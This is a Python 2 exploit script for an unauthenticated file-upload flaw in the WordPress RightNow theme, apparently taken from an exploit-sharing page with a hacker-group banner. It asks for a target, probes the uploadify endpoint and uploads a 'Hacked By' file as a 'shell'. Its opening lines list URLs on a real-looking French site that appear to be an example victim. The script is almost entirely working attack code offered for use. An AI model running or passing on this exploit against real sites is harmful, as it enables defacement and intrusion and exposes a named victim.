Wordpress Exploit RightNow File Upload

Örnek;
http://ugotsv.fr//wp-content/uploads/settingsimages/ajanlar.html
http://ugotsv.fr/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php

#!/usr/bin/env python
import urllib2
import requests

print "   __        __    _  __      _  __       "
print "  / / __  __ \ \  | |/ /_ __ (_)/ _| ___  "
print " | |  \ \/ /  | | | ' /| '_ \| | |_ / _ \ "
print " | |   >  <   | | | . \| | | | |  _|  __/ "
print " | |  /_/\_\  | | |_|\_\_| |_|_|_|  \___| "
print "  \_\        /_/                          "
print "\n\t\tIn The Name Of World Programmer"
print ""
print "\tExploit : Wordpress  RightNow File Upload "
print ""
print "\t\tWeb Site : xknife.org"
print " \t\tprogrammer : Mohammad Farhad-Zadeh"
print "\t\tWednesday - 2015 15 July"
print ""





_Url=raw_input("[Xknife.org]-Enter Target WebSite address [exp: http://target.com ] :>")
_Vuln=_Url+"/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php"
_Check=urllib2.urlopen(_Vuln)
if _Check.code == 200:
    print "[Xknife.org]-Start Shell Uploading..."

    r=requests.post(url=_Vuln, files={"Filedata":("xknife6.txt", "Hacked By Xknife.org")})
    if "OK" in r.text:
        print "[Xknife.org]-File Uploaded..."
        print "[Xknife.org]-shell Address Sample http://target.com/wp-content/uploads/settingsimages/[shellname]"


    else:
        "[Xknife.org]-Shell Upload Faild!"

else:
    print "[Xknife.org]-Oops! We Have Some Error!"